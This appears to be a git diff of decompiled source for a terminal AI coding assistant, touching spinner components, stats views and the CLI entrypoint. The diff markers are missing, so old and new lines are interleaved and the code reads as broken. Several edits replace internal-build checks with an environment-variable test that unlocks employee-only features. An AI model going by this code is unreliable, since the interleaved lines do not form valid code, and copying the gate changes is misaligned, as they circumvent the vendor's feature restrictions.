{showSpinnerTree && hasRunningTeammates ? <TeammateSpinnerTree selectedIndex={selectedIPAgentIndex} isInSelectionMode={viewSelectionMode === 'selecting-agent'} allIdle={allIdle} leaderVerb={leaderIsIdle ? undefined : leaderVerb} leaderIdleText={leaderIsIdle ? 'Idle' : undefined} leaderTokenCount={leaderTokenCount} /> : showExpandedTodos && tasksV2 && tasksV2.length > 0 ? <Box width="100%" flexDirection="column">
|
||||
return (
|
||||
<Box flexDirection="column" width="100%" alignItems="flex-start">
|
||||
<SpinnerAnimationRow
|
||||
mode={mode}
|
||||
reducedMotion={reducedMotion}
|
||||
hasActiveTools={hasActiveTools}
|
||||
responseLengthRef={responseLengthRef}
|
||||
message={message}
|
||||
messageColor={messageColor}
|
||||
shimmerColor={shimmerColor}
|
||||
overrideColor={overrideColor}
|
||||
loadingStartTimeRef={loadingStartTimeRef}
|
||||
totalPausedMsRef={totalPausedMsRef}
|
||||
pauseStartTimeRef={pauseStartTimeRef}
|
||||
spinnerSuffix={spinnerSuffix}
|
||||
verbose={verbose}
|
||||
columns={columns}
|
||||
hasRunningTeammates={hasRunningTeammates}
|
||||
teammateTokens={teammateTokens}
|
||||
foregroundedTeammate={foregroundedTeammate}
|
||||
leaderIsIdle={leaderIsIdle}
|
||||
thinkingStatus={thinkingStatus}
|
||||
effortSuffix={effortSuffix}
|
||||
/>
|
||||
{showSpinnerTree && hasRunningTeammates ? (
|
||||
<TeammateSpinnerTree
|
||||
selectedIndex={selectedIPAgentIndex}
|
||||
isInSelectionMode={viewSelectionMode === 'selecting-agent'}
|
||||
allIdle={allIdle}
|
||||
leaderVerb={leaderIsIdle ? undefined : leaderVerb}
|
||||
leaderIdleText={leaderIsIdle ? 'Idle' : undefined}
|
||||
leaderTokenCount={leaderTokenCount}
|
||||
/>
|
||||
) : showExpandedTodos && tasksV2 && tasksV2.length > 0 ? (
|
||||
<Box width="100%" flexDirection="column">
|
||||
<MessageResponse>
|
||||
<TaskListV2 tasks={tasksV2} />
|
||||
</MessageResponse>
|
||||
</Box> : nextTask || effectiveTip || budgetText ?
|
||||
// IMPORTANT: we need this width="100%" to avoid an Ink bug where the
|
||||
// tip gets duplicated over and over while the spinner is running if
|
||||
// the terminal is very small. TODO: fix this in Ink.
|
||||
<Box width="100%" flexDirection="column">
|
||||
{budgetText && <MessageResponse>
|
||||
</Box>
|
||||
) : nextTask || effectiveTip || budgetText ? (
|
||||
// IMPORTANT: we need this width="100%" to avoid an Ink bug where the
|
||||
// tip gets duplicated over and over while the spinner is running if
|
||||
// the terminal is very small. TODO: fix this in Ink.
|
||||
<Box width="100%" flexDirection="column">
|
||||
{budgetText && (
|
||||
<MessageResponse>
|
||||
<Text dimColor>{budgetText}</Text>
|
||||
</MessageResponse>}
|
||||
{(nextTask || effectiveTip) && <MessageResponse>
|
||||
<Text dimColor>
|
||||
{nextTask ? `Next: ${nextTask.subject}` : `Tip: ${effectiveTip}`}
|
||||
</Text>
|
||||
</MessageResponse>}
|
||||
</Box> : null}
|
||||
</Box>;
|
||||
</MessageResponse>
|
||||
)}
|
||||
{(nextTask || effectiveTip) && (
|
||||
<MessageResponse>
|
||||
<Text dimColor>{nextTask ? `Next: ${nextTask.subject}` : `Tip: ${effectiveTip}`}</Text>
|
||||
</MessageResponse>
|
||||
)}
|
||||
</Box>
|
||||
) : null}
|
||||
</Box>
|
||||
);
|
||||
}
|
||||
|
||||
// Brief/assistant mode spinner: single status line. PromptInput drops its
|
||||
@@ -316,10 +411,7 @@ type BriefSpinnerProps = {
|
||||
};
|
||||
function BriefSpinner(t0) {
|
||||
const $ = _c(31);
|
||||
const {
|
||||
mode,
|
||||
overrideMessage
|
||||
} = t0;
|
||||
const { mode, overrideMessage } = t0;
|
||||
const settings = useSettings();
|
||||
const reducedMotion = settings.prefersReducedMotion ?? false;
|
||||
const [randomVerb] = useState(_temp4);
|
||||
@@ -329,7 +421,7 @@ function BriefSpinner(t0) {
|
||||
let t2;
|
||||
if ($[0] !== mode) {
|
||||
t1 = () => {
|
||||
const operationId = "spinner-" + mode;
|
||||
const operationId = 'spinner-' + mode;
|
||||
activityManager.startCLIActivity(operationId);
|
||||
return () => {
|
||||
activityManager.endCLIActivity(operationId);
|
||||
@@ -346,12 +438,12 @@ function BriefSpinner(t0) {
|
||||
useEffect(t1, t2);
|
||||
const [, time] = useAnimationFrame(reducedMotion ? null : 120);
|
||||
const runningCount = useAppState(_temp6);
|
||||
const showConnWarning = connStatus === "reconnecting" || connStatus === "disconnected";
|
||||
const connText = connStatus === "reconnecting" ? "Reconnecting" : "Disconnected";
|
||||
const showConnWarning = connStatus === 'reconnecting' || connStatus === 'disconnected';
|
||||
const connText = connStatus === 'reconnecting' ? 'Reconnecting' : 'Disconnected';
|
||||
const dotFrame = Math.floor(time / 300) % 3;
|
||||
let t3;
|
||||
if ($[3] !== dotFrame || $[4] !== reducedMotion) {
|
||||
t3 = reducedMotion ? "\u2026 " : ".".repeat(dotFrame + 1).padEnd(3);
|
||||
t3 = reducedMotion ? '\u2026 ' : '.'.repeat(dotFrame + 1).padEnd(3);
|
||||
$[3] = dotFrame;
|
||||
$[4] = reducedMotion;
|
||||
$[5] = t3;
|
||||
@@ -370,7 +462,8 @@ function BriefSpinner(t0) {
|
||||
const verbWidth = t4;
|
||||
let t5;
|
||||
if ($[8] !== reducedMotion || $[9] !== showConnWarning || $[10] !== time || $[11] !== verb || $[12] !== verbWidth) {
|
||||
const glimmerIndex = reducedMotion || showConnWarning ? -100 : computeGlimmerIndex(Math.floor(time / SHIMMER_INTERVAL_MS), verbWidth);
|
||||
const glimmerIndex =
|
||||
reducedMotion || showConnWarning ? -100 : computeGlimmerIndex(Math.floor(time / SHIMMER_INTERVAL_MS), verbWidth);
|
||||
t5 = computeShimmerSegments(verb, glimmerIndex);
|
||||
$[8] = reducedMotion;
|
||||
$[9] = showConnWarning;
|
||||
@@ -381,15 +474,9 @@ function BriefSpinner(t0) {
|
||||
} else {
|
||||
t5 = $[13];
|
||||
}
|
||||
const {
|
||||
before,
|
||||
shimmer,
|
||||
after
|
||||
} = t5;
|
||||
const {
|
||||
columns
|
||||
} = useTerminalSize();
|
||||
const rightText = runningCount > 0 ? `${runningCount} in background` : "";
|
||||
const { before, shimmer, after } = t5;
|
||||
const { columns } = useTerminalSize();
|
||||
const rightText = runningCount > 0 ? `${runningCount} in background` : '';
|
||||
let t6;
|
||||
if ($[14] !== connText || $[15] !== showConnWarning || $[16] !== verbWidth) {
|
||||
t6 = showConnWarning ? stringWidth(connText) : verbWidth;
|
||||
@@ -403,8 +490,24 @@ function BriefSpinner(t0) {
|
||||
const leftWidth = t6 + 3;
|
||||
const pad = Math.max(1, columns - 2 - leftWidth - stringWidth(rightText));
|
||||
let t7;
|
||||
if ($[18] !== after || $[19] !== before || $[20] !== connText || $[21] !== dots || $[22] !== shimmer || $[23] !== showConnWarning) {
|
||||
t7 = showConnWarning ? <Text color="error">{connText + dots}</Text> : <>{before ? <Text dimColor={true}>{before}</Text> : null}{shimmer ? <Text>{shimmer}</Text> : null}{after ? <Text dimColor={true}>{after}</Text> : null}<Text dimColor={true}>{dots}</Text></>;
|
||||
if (
|
||||
$[18] !== after ||
|
||||
$[19] !== before ||
|
||||
$[20] !== connText ||
|
||||
$[21] !== dots ||
|
||||
$[22] !== shimmer ||
|
||||
$[23] !== showConnWarning
|
||||
) {
|
||||
t7 = showConnWarning ? (
|
||||
<Text color="error">{connText + dots}</Text>
|
||||
) : (
|
||||
<>
|
||||
{before ? <Text dimColor={true}>{before}</Text> : null}
|
||||
{shimmer ? <Text>{shimmer}</Text> : null}
|
||||
{after ? <Text dimColor={true}>{after}</Text> : null}
|
||||
<Text dimColor={true}>{dots}</Text>
|
||||
</>
|
||||
);
|
||||
$[18] = after;
|
||||
$[19] = before;
|
||||
$[20] = connText;
|
||||
@@ -417,7 +520,12 @@ function BriefSpinner(t0) {
|
||||
}
|
||||
let t8;
|
||||
if ($[25] !== pad || $[26] !== rightText) {
|
||||
t8 = rightText ? <><Text>{" ".repeat(pad)}</Text><Text color="subtle">{rightText}</Text></> : null;
|
||||
t8 = rightText ? (
|
||||
<>
|
||||
<Text>{' '.repeat(pad)}</Text>
|
||||
<Text color="subtle">{rightText}</Text>
|
||||
</>
|
||||
) : null;
|
||||
$[25] = pad;
|
||||
$[26] = rightText;
|
||||
$[27] = t8;
|
||||
@@ -426,7 +534,12 @@ function BriefSpinner(t0) {
|
||||
}
|
||||
let t9;
|
||||
if ($[28] !== t7 || $[29] !== t8) {
|
||||
t9 = <Box flexDirection="row" width="100%" marginTop={1} paddingLeft={2}>{t7}{t8}</Box>;
|
||||
t9 = (
|
||||
<Box flexDirection="row" width="100%" marginTop={1} paddingLeft={2}>
|
||||
{t7}
|
||||
{t8}
|
||||
</Box>
|
||||
);
|
||||
$[28] = t7;
|
||||
$[29] = t8;
|
||||
$[30] = t9;
|
||||
@@ -447,22 +560,20 @@ function _temp5(s) {
|
||||
return s.remoteConnectionStatus;
|
||||
}
|
||||
function _temp4() {
|
||||
return sample(getSpinnerVerbs()) ?? "Working";
|
||||
return sample(getSpinnerVerbs()) ?? 'Working';
|
||||
}
|
||||
export function BriefIdleStatus() {
|
||||
const $ = _c(9);
|
||||
const connStatus = useAppState(_temp7);
|
||||
const runningCount = useAppState(_temp8);
|
||||
const {
|
||||
columns
|
||||
} = useTerminalSize();
|
||||
const showConnWarning = connStatus === "reconnecting" || connStatus === "disconnected";
|
||||
const connText = connStatus === "reconnecting" ? "Reconnecting\u2026" : "Disconnected";
|
||||
const leftText = showConnWarning ? connText : "";
|
||||
const rightText = runningCount > 0 ? `${runningCount} in background` : "";
|
||||
const { columns } = useTerminalSize();
|
||||
const showConnWarning = connStatus === 'reconnecting' || connStatus === 'disconnected';
|
||||
const connText = connStatus === 'reconnecting' ? 'Reconnecting\u2026' : 'Disconnected';
|
||||
const leftText = showConnWarning ? connText : '';
|
||||
const rightText = runningCount > 0 ? `${runningCount} in background` : '';
|
||||
if (!leftText && !rightText) {
|
||||
let t0;
|
||||
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
if ($[0] === Symbol.for('react.memo_cache_sentinel')) {
|
||||
t0 = <Box height={2} />;
|
||||
$[0] = t0;
|
||||
} else {
|
||||
@@ -481,7 +592,12 @@ export function BriefIdleStatus() {
|
||||
}
|
||||
let t1;
|
||||
if ($[3] !== pad || $[4] !== rightText) {
|
||||
t1 = rightText ? <><Text>{" ".repeat(pad)}</Text><Text color="subtle">{rightText}</Text></> : null;
|
||||
t1 = rightText ? (
|
||||
<>
|
||||
<Text>{' '.repeat(pad)}</Text>
|
||||
<Text color="subtle">{rightText}</Text>
|
||||
</>
|
||||
) : null;
|
||||
$[3] = pad;
|
||||
$[4] = rightText;
|
||||
$[5] = t1;
|
||||
@@ -490,7 +606,14 @@ export function BriefIdleStatus() {
|
||||
}
|
||||
let t2;
|
||||
if ($[6] !== t0 || $[7] !== t1) {
|
||||
t2 = <Box marginTop={1} paddingLeft={2}><Text>{t0}{t1}</Text></Box>;
|
||||
t2 = (
|
||||
<Box marginTop={1} paddingLeft={2}>
|
||||
<Text>
|
||||
{t0}
|
||||
{t1}
|
||||
</Text>
|
||||
</Box>
|
||||
);
|
||||
$[6] = t0;
|
||||
$[7] = t1;
|
||||
$[8] = t2;
|
||||
@@ -512,7 +635,7 @@ export function Spinner() {
|
||||
const [ref, time] = useAnimationFrame(reducedMotion ? null : 120);
|
||||
if (reducedMotion) {
|
||||
let t0;
|
||||
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
|
||||
if ($[0] === Symbol.for('react.memo_cache_sentinel')) {
|
||||
t0 = <Text color="text">●</Text>;
|
||||
$[0] = t0;
|
||||
} else {
|
||||
@@ -520,7 +643,11 @@ export function Spinner() {
|
||||
}
|
||||
let t1;
|
||||
if ($[1] !== ref) {
|
||||
t1 = <Box ref={ref} flexWrap="wrap" height={1} width={2}>{t0}</Box>;
|
||||
t1 = (
|
||||
<Box ref={ref} flexWrap="wrap" height={1} width={2}>
|
||||
{t0}
|
||||
</Box>
|
||||
);
|
||||
$[1] = ref;
|
||||
$[2] = t1;
|
||||
} else {
|
||||
@@ -540,7 +667,11 @@ export function Spinner() {
|
||||
}
|
||||
let t2;
|
||||
if ($[5] !== ref || $[6] !== t1) {
|
||||
t2 = <Box ref={ref} flexWrap="wrap" height={1} width={2}>{t1}</Box>;
|
||||
t2 = (
|
||||
<Box ref={ref} flexWrap="wrap" height={1} width={2}>
|
||||
{t1}
|
||||
</Box>
|
||||
);
|
||||
$[5] = ref;
|
||||
$[6] = t1;
|
||||
$[7] = t2;
|
||||
|
||||
@@ -512,7 +512,7 @@ function OverviewTab({
|
||||
</Box>
|
||||
|
||||
{/* Speculation time saved (ant-only) */}
|
||||
{("external" as string) === 'ant' && stats.totalSpeculationTimeSavedMs > 0 && <Box flexDirection="row" gap={4}>
|
||||
{(process.env.USER_TYPE) === 'ant' && stats.totalSpeculationTimeSavedMs > 0 && <Box flexDirection="row" gap={4}>
|
||||
<Box flexDirection="column" width={28}>
|
||||
<Text wrap="truncate">
|
||||
Speculation saved:{' '}
|
||||
@@ -1151,7 +1151,7 @@ function renderOverviewToAnsi(stats: ClaudeCodeStats): string[] {
|
||||
lines.push(row('Active days', activeDaysVal, 'Peak hour', peakHourVal));
|
||||
|
||||
// Speculation time saved (ant-only)
|
||||
if (("external" as string) === 'ant' && stats.totalSpeculationTimeSavedMs > 0) {
|
||||
if ((process.env.USER_TYPE) === 'ant' && stats.totalSpeculationTimeSavedMs > 0) {
|
||||
const label = 'Speculation saved:'.padEnd(COL1_LABEL_WIDTH);
|
||||
lines.push(label + h(formatDuration(stats.totalSpeculationTimeSavedMs)));
|
||||
}
|
||||
|
||||
9
src/components/UndercoverAutoCallout.tsx
Normal file
9
src/components/UndercoverAutoCallout.tsx
Normal file
@@ -0,0 +1,9 @@
|
||||
// Stub — ant-only component, not available in decompiled build
|
||||
import React, { useEffect } from 'react';
|
||||
|
||||
export function UndercoverAutoCallout({ onDone }: { onDone: () => void }): React.ReactElement | null {
|
||||
useEffect(() => {
|
||||
onDone();
|
||||
}, [onDone]);
|
||||
return null;
|
||||
}
|
||||
@@ -58,7 +58,7 @@ function getToolBuckets(): ToolBuckets {
|
||||
},
|
||||
EXECUTION: {
|
||||
name: 'Execution tools',
|
||||
toolNames: new Set([BashTool.name, ("external" as string) === 'ant' ? TungstenTool.name : undefined].filter(n => n !== undefined))
|
||||
toolNames: new Set([BashTool.name, (process.env.USER_TYPE) === 'ant' ? TungstenTool.name : undefined].filter(n => n !== undefined))
|
||||
},
|
||||
MCP: {
|
||||
name: 'MCP tools',
|
||||
|
||||
@@ -114,7 +114,7 @@ export function AttachmentMessage({
|
||||
// names — shortId is undefined outside ant builds anyway.
|
||||
const names = attachment.skills.map(s => s.shortId ? `${s.name} [${s.shortId}]` : s.name).join(', ');
|
||||
const firstId = attachment.skills[0]?.shortId;
|
||||
const hint = ("external" as string) === 'ant' && !isDemoEnv && firstId ? ` · /skill-feedback ${firstId} 1=wrong 2=noisy 3=good [comment]` : '';
|
||||
const hint = (process.env.USER_TYPE) === 'ant' && !isDemoEnv && firstId ? ` · /skill-feedback ${firstId} 1=wrong 2=noisy 3=good [comment]` : '';
|
||||
return <Line>
|
||||
<Text bold>{attachment.skills.length}</Text> relevant{' '}
|
||||
{plural(attachment.skills.length, 'skill')}: {names}
|
||||
|
||||
@@ -112,7 +112,7 @@ export function bashToolUseOptions({
|
||||
// Skip when the editable prefix option is already shown — they serve the
|
||||
// same role and having two identical-looking "don't ask again" inputs is confusing.
|
||||
const editablePrefixShown = options.some(o => o.value === 'yes-prefix-edited');
|
||||
if (("external" as string) === 'ant' && !editablePrefixShown && isClassifierPermissionsEnabled() && onClassifierDescriptionChange && !initialClassifierDescriptionEmpty && !descriptionAlreadyExists(classifierDescription ?? '', existingAllowDescriptions) && decisionReason?.type !== 'classifier') {
|
||||
if ((process.env.USER_TYPE) === 'ant' && !editablePrefixShown && isClassifierPermissionsEnabled() && onClassifierDescriptionChange && !initialClassifierDescriptionEmpty && !descriptionAlreadyExists(classifierDescription ?? '', existingAllowDescriptions) && decisionReason?.type !== 'classifier') {
|
||||
options.push({
|
||||
type: 'input',
|
||||
label: 'Yes, and don\u2019t ask again for',
|
||||
|
||||
@@ -96,7 +96,7 @@ export function shouldHideTasksFooter(tasks: {
|
||||
if (!showSpinnerTree) return false;
|
||||
let hasVisibleTask = false;
|
||||
for (const t of Object.values(tasks) as TaskState[]) {
|
||||
if (!isBackgroundTask(t) || ("external" as string) === 'ant' && isPanelAgentTask(t)) {
|
||||
if (!isBackgroundTask(t) || (process.env.USER_TYPE) === 'ant' && isPanelAgentTask(t)) {
|
||||
continue;
|
||||
}
|
||||
hasVisibleTask = true;
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
#!/usr/bin/env bun
|
||||
|
||||
import { feature } from 'bun:bundle'
|
||||
// Runtime polyfill for bun:bundle (build-time macros)
|
||||
const feature = (name: string) => name === "BUDDY";
|
||||
if (typeof globalThis.MACRO === "undefined") {
|
||||
@@ -21,17 +20,15 @@ if (typeof globalThis.MACRO === "undefined") {
|
||||
|
||||
// Bugfix for corepack auto-pinning, which adds yarnpkg to peoples' package.jsons
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects
|
||||
process.env.COREPACK_ENABLE_AUTO_PIN = "0";
|
||||
process.env.COREPACK_ENABLE_AUTO_PIN = '0';
|
||||
|
||||
// Set max heap size for child processes in CCR environments (containers have 16GB)
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level, custom-rules/safe-env-boolean-check
|
||||
if (process.env.CLAUDE_CODE_REMOTE === "true") {
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level
|
||||
const existing = process.env.NODE_OPTIONS || "";
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level
|
||||
process.env.NODE_OPTIONS = existing
|
||||
? `${existing} --max-old-space-size=8192`
|
||||
: "--max-old-space-size=8192";
|
||||
if (process.env.CLAUDE_CODE_REMOTE === 'true') {
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level
|
||||
const existing = process.env.NODE_OPTIONS || '';
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level
|
||||
process.env.NODE_OPTIONS = existing ? `${existing} --max-old-space-size=8192` : '--max-old-space-size=8192';
|
||||
}
|
||||
|
||||
// Harness-science L0 ablation baseline. Inlined here (not init.ts) because
|
||||
@@ -39,19 +36,19 @@ if (process.env.CLAUDE_CODE_REMOTE === "true") {
|
||||
// module-level consts at import time — init() runs too late. feature() gate
|
||||
// DCEs this entire block from external builds.
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level
|
||||
if (feature("ABLATION_BASELINE") && process.env.CLAUDE_CODE_ABLATION_BASELINE) {
|
||||
for (const k of [
|
||||
"CLAUDE_CODE_SIMPLE",
|
||||
"CLAUDE_CODE_DISABLE_THINKING",
|
||||
"DISABLE_INTERLEAVED_THINKING",
|
||||
"DISABLE_COMPACT",
|
||||
"DISABLE_AUTO_COMPACT",
|
||||
"CLAUDE_CODE_DISABLE_AUTO_MEMORY",
|
||||
"CLAUDE_CODE_DISABLE_BACKGROUND_TASKS",
|
||||
]) {
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level
|
||||
process.env[k] ??= "1";
|
||||
}
|
||||
if (feature('ABLATION_BASELINE') && process.env.CLAUDE_CODE_ABLATION_BASELINE) {
|
||||
for (const k of [
|
||||
'CLAUDE_CODE_SIMPLE',
|
||||
'CLAUDE_CODE_DISABLE_THINKING',
|
||||
'DISABLE_INTERLEAVED_THINKING',
|
||||
'DISABLE_COMPACT',
|
||||
'DISABLE_AUTO_COMPACT',
|
||||
'CLAUDE_CODE_DISABLE_AUTO_MEMORY',
|
||||
'CLAUDE_CODE_DISABLE_BACKGROUND_TASKS',
|
||||
]) {
|
||||
// eslint-disable-next-line custom-rules/no-top-level-side-effects, custom-rules/no-process-env-top-level
|
||||
process.env[k] ??= '1';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -60,262 +57,231 @@ if (feature("ABLATION_BASELINE") && process.env.CLAUDE_CODE_ABLATION_BASELINE) {
|
||||
* Fast-path for --version has zero imports beyond this file.
|
||||
*/
|
||||
async function main(): Promise<void> {
|
||||
const args = process.argv.slice(2);
|
||||
const args = process.argv.slice(2);
|
||||
|
||||
// Fast-path for --version/-v: zero module loading needed
|
||||
if (
|
||||
args.length === 1 &&
|
||||
(args[0] === "--version" || args[0] === "-v" || args[0] === "-V")
|
||||
) {
|
||||
// MACRO.VERSION is inlined at build time
|
||||
// biome-ignore lint/suspicious/noConsole:: intentional console output
|
||||
console.log(`${MACRO.VERSION} (Claude Code)`);
|
||||
// Fast-path for --version/-v: zero module loading needed
|
||||
if (args.length === 1 && (args[0] === '--version' || args[0] === '-v' || args[0] === '-V')) {
|
||||
// MACRO.VERSION is inlined at build time
|
||||
// biome-ignore lint/suspicious/noConsole:: intentional console output
|
||||
console.log(`${MACRO.VERSION} (Claude Code)`);
|
||||
return;
|
||||
}
|
||||
|
||||
// For all other paths, load the startup profiler
|
||||
const { profileCheckpoint } = await import('../utils/startupProfiler.js');
|
||||
profileCheckpoint('cli_entry');
|
||||
|
||||
// Fast-path for --dump-system-prompt: output the rendered system prompt and exit.
|
||||
// Used by prompt sensitivity evals to extract the system prompt at a specific commit.
|
||||
// Ant-only: eliminated from external builds via feature flag.
|
||||
if (feature('DUMP_SYSTEM_PROMPT') && args[0] === '--dump-system-prompt') {
|
||||
profileCheckpoint('cli_dump_system_prompt_path');
|
||||
const { enableConfigs } = await import('../utils/config.js');
|
||||
enableConfigs();
|
||||
const { getMainLoopModel } = await import('../utils/model/model.js');
|
||||
const modelIdx = args.indexOf('--model');
|
||||
const model = (modelIdx !== -1 && args[modelIdx + 1]) || getMainLoopModel();
|
||||
const { getSystemPrompt } = await import('../constants/prompts.js');
|
||||
const prompt = await getSystemPrompt([], model);
|
||||
// biome-ignore lint/suspicious/noConsole:: intentional console output
|
||||
console.log(prompt.join('\n'));
|
||||
return;
|
||||
}
|
||||
if (process.argv[2] === '--claude-in-chrome-mcp') {
|
||||
profileCheckpoint('cli_claude_in_chrome_mcp_path');
|
||||
const { runClaudeInChromeMcpServer } = await import('../utils/claudeInChrome/mcpServer.js');
|
||||
await runClaudeInChromeMcpServer();
|
||||
return;
|
||||
} else if (process.argv[2] === '--chrome-native-host') {
|
||||
profileCheckpoint('cli_chrome_native_host_path');
|
||||
const { runChromeNativeHost } = await import('../utils/claudeInChrome/chromeNativeHost.js');
|
||||
await runChromeNativeHost();
|
||||
return;
|
||||
} else if (feature('CHICAGO_MCP') && process.argv[2] === '--computer-use-mcp') {
|
||||
profileCheckpoint('cli_computer_use_mcp_path');
|
||||
const { runComputerUseMcpServer } = await import('../utils/computerUse/mcpServer.js');
|
||||
await runComputerUseMcpServer();
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `--daemon-worker=<kind>` (internal — supervisor spawns this).
|
||||
// Must come before the daemon subcommand check: spawned per-worker, so
|
||||
// perf-sensitive. No enableConfigs(), no analytics sinks at this layer —
|
||||
// workers are lean. If a worker kind needs configs/auth (assistant will),
|
||||
// it calls them inside its run() fn.
|
||||
if (feature('DAEMON') && args[0] === '--daemon-worker') {
|
||||
const { runDaemonWorker } = await import('../daemon/workerRegistry.js');
|
||||
await runDaemonWorker(args[1]);
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude remote-control` (also accepts legacy `claude remote` / `claude sync` / `claude bridge`):
|
||||
// serve local machine as bridge environment.
|
||||
// feature() must stay inline for build-time dead code elimination;
|
||||
// isBridgeEnabled() checks the runtime GrowthBook gate.
|
||||
if (
|
||||
feature('BRIDGE_MODE') &&
|
||||
(args[0] === 'remote-control' ||
|
||||
args[0] === 'rc' ||
|
||||
args[0] === 'remote' ||
|
||||
args[0] === 'sync' ||
|
||||
args[0] === 'bridge')
|
||||
) {
|
||||
profileCheckpoint('cli_bridge_path');
|
||||
const { enableConfigs } = await import('../utils/config.js');
|
||||
enableConfigs();
|
||||
const { getBridgeDisabledReason, checkBridgeMinVersion } = await import('../bridge/bridgeEnabled.js');
|
||||
const { BRIDGE_LOGIN_ERROR } = await import('../bridge/types.js');
|
||||
const { bridgeMain } = await import('../bridge/bridgeMain.js');
|
||||
const { exitWithError } = await import('../utils/process.js');
|
||||
|
||||
// Auth check must come before the GrowthBook gate check — without auth,
|
||||
// GrowthBook has no user context and would return a stale/default false.
|
||||
// getBridgeDisabledReason awaits GB init, so the returned value is fresh
|
||||
// (not the stale disk cache), but init still needs auth headers to work.
|
||||
const { getClaudeAIOAuthTokens } = await import('../utils/auth.js');
|
||||
if (!getClaudeAIOAuthTokens()?.accessToken) {
|
||||
exitWithError(BRIDGE_LOGIN_ERROR);
|
||||
}
|
||||
const disabledReason = await getBridgeDisabledReason();
|
||||
if (disabledReason) {
|
||||
exitWithError(`Error: ${disabledReason}`);
|
||||
}
|
||||
const versionError = checkBridgeMinVersion();
|
||||
if (versionError) {
|
||||
exitWithError(versionError);
|
||||
}
|
||||
|
||||
// Bridge is a remote control feature - check policy limits
|
||||
const { waitForPolicyLimitsToLoad, isPolicyAllowed } = await import('../services/policyLimits/index.js');
|
||||
await waitForPolicyLimitsToLoad();
|
||||
if (!isPolicyAllowed('allow_remote_control')) {
|
||||
exitWithError("Error: Remote Control is disabled by your organization's policy.");
|
||||
}
|
||||
await bridgeMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude daemon [subcommand]`: long-running supervisor.
|
||||
if (feature('DAEMON') && args[0] === 'daemon') {
|
||||
profileCheckpoint('cli_daemon_path');
|
||||
const { enableConfigs } = await import('../utils/config.js');
|
||||
enableConfigs();
|
||||
const { initSinks } = await import('../utils/sinks.js');
|
||||
initSinks();
|
||||
const { daemonMain } = await import('../daemon/main.js');
|
||||
await daemonMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude ps|logs|attach|kill` and `--bg`/`--background`.
|
||||
// Session management against the ~/.claude/sessions/ registry. Flag
|
||||
// literals are inlined so bg.js only loads when actually dispatching.
|
||||
if (
|
||||
feature('BG_SESSIONS') &&
|
||||
(args[0] === 'ps' ||
|
||||
args[0] === 'logs' ||
|
||||
args[0] === 'attach' ||
|
||||
args[0] === 'kill' ||
|
||||
args.includes('--bg') ||
|
||||
args.includes('--background'))
|
||||
) {
|
||||
profileCheckpoint('cli_bg_path');
|
||||
const { enableConfigs } = await import('../utils/config.js');
|
||||
enableConfigs();
|
||||
const bg = await import('../cli/bg.js');
|
||||
switch (args[0]) {
|
||||
case 'ps':
|
||||
await bg.psHandler(args.slice(1));
|
||||
break;
|
||||
case 'logs':
|
||||
await bg.logsHandler(args[1]);
|
||||
break;
|
||||
case 'attach':
|
||||
await bg.attachHandler(args[1]);
|
||||
break;
|
||||
case 'kill':
|
||||
await bg.killHandler(args[1]);
|
||||
break;
|
||||
default:
|
||||
await bg.handleBgFlag(args);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for template job commands.
|
||||
if (feature('TEMPLATES') && (args[0] === 'new' || args[0] === 'list' || args[0] === 'reply')) {
|
||||
profileCheckpoint('cli_templates_path');
|
||||
const { templatesMain } = await import('../cli/handlers/templateJobs.js');
|
||||
await templatesMain(args);
|
||||
// process.exit (not return) — mountFleetView's Ink TUI can leave event
|
||||
// loop handles that prevent natural exit.
|
||||
// eslint-disable-next-line custom-rules/no-process-exit
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
// Fast-path for `claude environment-runner`: headless BYOC runner.
|
||||
// feature() must stay inline for build-time dead code elimination.
|
||||
if (feature('BYOC_ENVIRONMENT_RUNNER') && args[0] === 'environment-runner') {
|
||||
profileCheckpoint('cli_environment_runner_path');
|
||||
const { environmentRunnerMain } = await import('../environment-runner/main.js');
|
||||
await environmentRunnerMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for `claude self-hosted-runner`: headless self-hosted-runner
|
||||
// targeting the SelfHostedRunnerWorkerService API (register + poll; poll IS
|
||||
// heartbeat). feature() must stay inline for build-time dead code elimination.
|
||||
if (feature('SELF_HOSTED_RUNNER') && args[0] === 'self-hosted-runner') {
|
||||
profileCheckpoint('cli_self_hosted_runner_path');
|
||||
const { selfHostedRunnerMain } = await import('../self-hosted-runner/main.js');
|
||||
await selfHostedRunnerMain(args.slice(1));
|
||||
return;
|
||||
}
|
||||
|
||||
// Fast-path for --worktree --tmux: exec into tmux before loading full CLI
|
||||
const hasTmuxFlag = args.includes('--tmux') || args.includes('--tmux=classic');
|
||||
if (
|
||||
hasTmuxFlag &&
|
||||
(args.includes('-w') || args.includes('--worktree') || args.some(a => a.startsWith('--worktree=')))
|
||||
) {
|
||||
profileCheckpoint('cli_tmux_worktree_fast_path');
|
||||
const { enableConfigs } = await import('../utils/config.js');
|
||||
enableConfigs();
|
||||
const { isWorktreeModeEnabled } = await import('../utils/worktreeModeEnabled.js');
|
||||
if (isWorktreeModeEnabled()) {
|
||||
const { execIntoTmuxWorktree } = await import('../utils/worktree.js');
|
||||
const result = await execIntoTmuxWorktree(args);
|
||||
if (result.handled) {
|
||||
return;
|
||||
}
|
||||
// If not handled (e.g., error), fall through to normal CLI
|
||||
if (result.error) {
|
